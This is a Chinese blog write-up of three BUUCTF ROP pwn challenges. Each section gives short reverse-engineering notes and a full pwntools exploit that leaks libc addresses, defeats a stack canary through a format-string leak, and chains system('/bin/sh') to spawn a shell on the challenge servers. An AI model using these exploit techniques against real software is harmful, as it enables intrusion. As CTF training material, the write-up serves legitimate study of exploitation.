buuctf ---- ROP集合(未完)

buuctf ---------- babyrop1

在这里插入图片描述
NX栈不可执行开启

使用32位IDA查看程序

在这里插入图片描述
读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节,可以通过输入 \0 绕过字符串比较

在这里插入图片描述
a1可以是255,造成buf溢出。

在这里插入图片描述
编写exp

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",28966)
elf=ELF("pwn")

write_plt=elf.plt['write']
puts_got=elf.got['puts']
start=0x080485A0
main=0x08048825

payload="\x00"+"\xff"*(0x2c-0x25)
io.sendline(payload)
io.recvuntil("Correct\n")
payload2='a'*0xE7+'a'*4+p32(write_plt)+p32(start)+p32(1)+p32(puts_got)+p32(4)
io.send(payload2)
puts_got=u32(io.recv(4))


libc=LibcSearcher('puts',puts_got)
base=puts_got-libc.dump('puts')
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')

payload="\x00"+"\xff"*(0x2c-0x25)


io.sendline(payload)
io.recvuntil("Correct\n")
payload2='a'*0xE7+'a'*4+p32(system)+p32(0)+p32(binsh)
io.sendline(payload2)
io.interactive()

在这里插入图片描述

buuctf ---------- babyrop2

在这里插入图片描述
使用64位的IDA查看

在这里插入图片描述
思路:buf只有0x20,却要读入0x100,会发生溢出。构造system(‘/bin/sh’),利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址。

编写exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

io=remote('node4.buuoj.cn',29857)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

io.recvuntil("name? ")
io.sendline(payload)

read_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)

#利用libcsearcher库去查找匹配的libc版本
libc = LibcSearcher('read', read_addr)
#计算程序里的偏移量
libc_base = read_addr - libc.dump('read')

#计算程序里system和/bin/sh的地址
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述

buuctf ---------- bjdctf_2020_babyrop2

在这里插入图片描述

存在canary保护。

使用64位IDA查看main函数

在这里插入图片描述
init函数调用put函数输出提示

在这里插入图片描述
gift函数有printf函数,可以通过格式化字符串漏洞泄漏canary的值。

在这里插入图片描述
而vuln函数存在栈溢出漏洞,通过栈溢出漏洞进行程序劫持

在这里插入图片描述
编写exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'

io=remote('node4.buuoj.cn',26126)

elf=ELF('./bjdctf_2020_babyrop2')
pop_rdi=0x00400993
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln_addr=elf.symbols['vuln']

io.recvuntil("I'll give u some gift to help u!")
io.sendline('%7$p')
io.recvuntil('0x')
canary=int(io.recv(16),16)
print('[+]canary: ',hex(canary))

payload='a'*(0x20-0x8)+p64(canary)+'b'*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil('Pull up your sword and tell me u story!')
io.sendline(payload)
io.recv()

puts_addr=u64(io.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

io.recvuntil('Pull up your sword and tell me u story!')
payload='a'*(0x20-0x8)+p64(canary)+'b'*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
io.sendline(payload)

io.interactive()

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值